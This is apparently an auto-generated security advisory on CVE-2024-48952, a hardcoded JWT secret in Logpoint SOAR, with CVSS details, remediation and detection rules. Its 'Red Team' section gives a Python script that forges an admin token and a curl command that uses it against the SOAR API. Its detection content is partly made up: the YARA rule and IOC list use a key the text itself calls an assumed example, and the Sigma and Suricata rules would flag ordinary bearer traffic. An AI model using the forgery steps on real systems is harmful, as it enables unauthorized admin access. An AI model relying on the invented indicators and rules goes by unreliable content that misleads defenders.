CVE-2024-48952
Executive Summary
CVE-2024-48952 exposes a critical static JWT secret key vulnerability in Logpoint SOAR (Security Orchestration, Automation, and Response) components prior to version 7.5.0. This flaw allows unauthenticated attackers to forge valid JWT tokens, granting unauthorized access to all SOAR API endpoints. The static key is hardcoded in the application, making it trivial to extract and exploit. With a CVSS score of 9.8 (Critical), this vulnerability poses a severe risk to confidentiality, integrity, and availability of the SOAR system. No public exploit code or Nuclei template is available at this time, but the static key nature makes exploitation straightforward for any attacker with network access.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the Logpoint SOAR application itself. The static JWT secret key is embedded within the application binaries or configuration files, which could be distributed through Logpoint’s official channels. Organizations should verify the integrity of their Logpoint installation and ensure they are using a trusted source.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full access to SOAR data.
- Integrity Impact: High (I:H) – Ability to modify SOAR configurations and data.
- Availability Impact: High (A:H) – Potential to disrupt SOAR services.
Threat Level: Critical. Immediate patching is required.
Deep Dive & Mechanics
The vulnerability stems from the use of a static, hardcoded JWT secret key in Logpoint SOAR versions prior to 7.5.0. JWT (JSON Web Token) is used for API authentication. Normally, the secret key should be randomly generated and kept confidential. In this case, the key is identical across all installations, allowing an attacker to:
- Extract the Key: The static key can be obtained by reverse-engineering the application or from public sources (e.g., GitHub leaks, forums).
- Forge Tokens: Using the known key, the attacker can create valid JWT tokens with arbitrary claims (e.g., admin role, user ID).
- Access APIs: The forged token is sent in the
Authorizationheader to any SOAR API endpoint, bypassing authentication.
The impact is severe: an attacker can perform any action that the SOAR API allows, including reading/modifying incidents, executing playbooks, and accessing sensitive data.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-7.5.0):
# Example of static key usage (conceptual)
JWT_SECRET = "static_secret_key_12345"
def generate_token(user_id, role):
payload = {"user_id": user_id, "role": role}
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
return token
Patched Code (7.5.0+):
# Example of dynamic key generation (conceptual)
import os
JWT_SECRET = os.environ.get("JWT_SECRET") or os.urandom(32).hex()
def generate_token(user_id, role):
payload = {"user_id": user_id, "role": role}
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
return token
The patched version uses a randomly generated secret key (from environment variable or secure random generator) instead of a hardcoded value.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Network access to a Logpoint SOAR instance (version < 7.5.0).
- Knowledge of the static JWT secret key (can be extracted from the application or found in public disclosures).
Exploitation Steps:
- Identify the SOAR API endpoint: Typically
https://<logpoint-server>/soar/api/v1/. - Extract the static key: For demonstration, assume the key is
logpoint_static_jwt_secret_2024. - Forge a JWT token:
import jwt import datetime payload = { "user_id": 1, "role": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1) } secret = "logpoint_static_jwt_secret_2024" token = jwt.encode(payload, secret, algorithm="HS256") print(token) - Use the token to access API:
curl -H "Authorization: Bearer <token>" https://<logpoint-server>/soar/api/v1/incidents
Expected Outcome: Unauthorized access to SOAR data and functionality.
Blue Team (Detection & Response)
Detection Steps:
- Monitor for JWT tokens with unusual claims (e.g., admin role from non-admin IPs).
- Check for repeated failed authentication attempts followed by successful ones (indicating token forgery).
- Review logs for API calls using tokens that do not match expected user sessions.
Hunting Query (Splunk):
index=logpoint sourcetype=soar_api
| search "Authorization: Bearer"
| rex field=_raw "Bearer (?<token>[^ ]+)"
| eval decoded_token = base64_decode(token)
| search decoded_token LIKE "%admin%"
| stats count by src_ip, user_agent
Indicators of Compromise (IOCs)
- Static JWT Secret Key:
logpoint_static_jwt_secret_2024(example – actual key may vary) - JWT Token Pattern: Tokens with
role: adminoruser_id: 1from unknown sources. - API Endpoint Access: Unusual access to
/soar/api/v1/endpoints from external IPs. - Log Entries:
"JWT validation passed"without prior authentication.
Detection Engineering
YARA Rule
rule Logpoint_Static_JWT_Secret {
meta:
description = "Detects static JWT secret key in Logpoint SOAR binaries"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-48952"
strings:
$secret = "logpoint_static_jwt_secret_2024" nocase
condition:
$secret
}
Sigma Rule
title: Logpoint SOAR Static JWT Secret Key Usage
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects JWT tokens with known static secret key in Logpoint SOAR logs
author: Valters IT
date: 2024/10/27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-48952
logsource:
product: logpoint
service: soar_api
detection:
selection:
- "Authorization: Bearer"
- "JWT validation passed"
condition: selection
falsepositives:
- Legitimate admin users (rare)
level: critical
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-48952 Logpoint SOAR Static JWT Exploit"; flow:to_server; content:"Authorization|3a| Bearer"; http_header; content:"eyJ"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Logpoint to version 7.5.0 or later.
- Rotate all existing JWT tokens and invalidate sessions.
- Review API access logs for signs of exploitation.
Long-term Mitigations:
- Implement network segmentation to restrict SOAR API access.
- Use a Web Application Firewall (WAF) to block suspicious JWT tokens.
- Enable multi-factor authentication (MFA) for SOAR administrative access.
- Regularly audit JWT secret key generation and storage.
Workaround (if patching is delayed):
- Block external access to SOAR API endpoints (e.g., via firewall rules).
- Monitor for anomalous API usage patterns.
Valters IT